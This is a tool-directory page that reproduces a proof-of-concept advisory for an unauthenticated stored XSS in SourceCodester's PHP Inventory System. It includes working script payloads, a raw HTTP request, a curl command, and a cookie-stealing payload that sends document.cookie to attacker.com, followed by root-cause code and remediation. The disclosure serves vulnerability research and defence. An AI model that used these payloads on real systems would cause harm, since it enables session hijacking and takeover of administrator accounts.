Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11518-XSS — Proof-of-concept for unauthenticated stored XSS in SourceCodester Inventory System, demonstrating admin session hijacking via crafted registration payloads. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-11518-xss
Vulnerability AnalysisWeb Application ExploitationWeb SecurityCTFPenetration TestingLearning & Education
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

Proof-of-concept for unauthenticated stored XSS in SourceCodester Inventory System, demonstrating admin session hijacking via crafted registration payloads.

View Repository
133 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Stored XSS in Inventory System using PHP and MySQL

Vulnerability Details

FieldDetails
Vulnerability TypeStored Cross-Site Scripting (XSS)
Affected ApplicationInventory System using PHP and MySQL
VendorSourceCodester
Affected Version1.0
Affected Fileregister.php
Parametersfullname, username
Authentication RequiredNo (Unauthenticated)
ImpactAdmin session hijacking, malicious script execution in admin panel
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Description

The Inventory System using PHP and MySQL by SourceCodester (submitted May 23, 2026) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in the Staff Registration module (register.php).

The fullname and username input fields fail to sanitize or encode user-supplied input before storing it in the database. When an administrator visits the User Management page (users.php), the unsanitized payloads are rendered directly in the HTML context, causing immediate JavaScript execution in the admin's browser session.

Because registration requires no authentication, a remote, unauthenticated attacker can inject arbitrary JavaScript that will execute in the context of any administrator who views the User Management panel.


Attack Scenario

  1. Attacker visits /product_inventory/register.php — no login required.
  2. Attacker submits a malicious payload in the fullname and/or username fields.
  3. Payload is stored in the database without sanitization.
  4. When the admin logs in and navigates to /product_inventory/users.php, the payload executes automatically in the admin's browser.
  5. Attacker can steal the admin's session cookie, redirect the admin to a phishing page, or perform any action on behalf of the admin.

Proof of Concept

Step 1 — Navigate to the Registration Page (No Auth Required)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

Step 2 — Submit the Following Registration Form

Full Name field payload:

root@kitploit:~
<script>alert(1)</script>

Username field payload:

root@kitploit:~
<script>alert(2)</script>

Password: any value (e.g., test1234)

Step 3 — HTTP Request (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

curl equivalent:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

Step 4 — Trigger as Admin

Log in as administrator and navigate to:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

Both payloads execute immediately upon page load.


Impact

An unauthenticated attacker can:

  • Steal admin session cookies — escalating to full admin account takeover
  • Redirect admin to phishing pages
  • Perform admin-level actions silently via JavaScript (create/delete users, manipulate inventory)
  • Deploy a persistent keylogger in the admin panel
  • Deface the admin interface

Session cookie theft example payload (replace with attacker server):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Screenshots

Step 1 — Injecting Payloads in Registration Form

Screenshot 2026-05-24 051430

Step 2 — XSS Fires on Admin users.php

Screenshot 2026-05-24 051452

Affected Code (Root Cause)

The vulnerability exists because register.php inserts user input directly into the database without sanitization, and users.php outputs the stored values without htmlspecialchars() encoding.

Vulnerable pattern in users.php (approximate):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

Fix — apply output encoding:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

Additionally, input should be sanitized on insertion in register.php using strip_tags() or prepared statements with proper validation.


Remediation

  1. Encode all output using htmlspecialchars() with ENT_QUOTES before rendering user-supplied data in HTML.
  2. Validate and sanitize all input fields on the server side at point of entry.
  3. Implement a Content Security Policy (CSP) header to mitigate XSS impact.

References

  • SourceCodester — Inventory System using PHP and MySQL

Reported by Syed Imad Uddin Alvi — Independent Security Researcher

Download Tool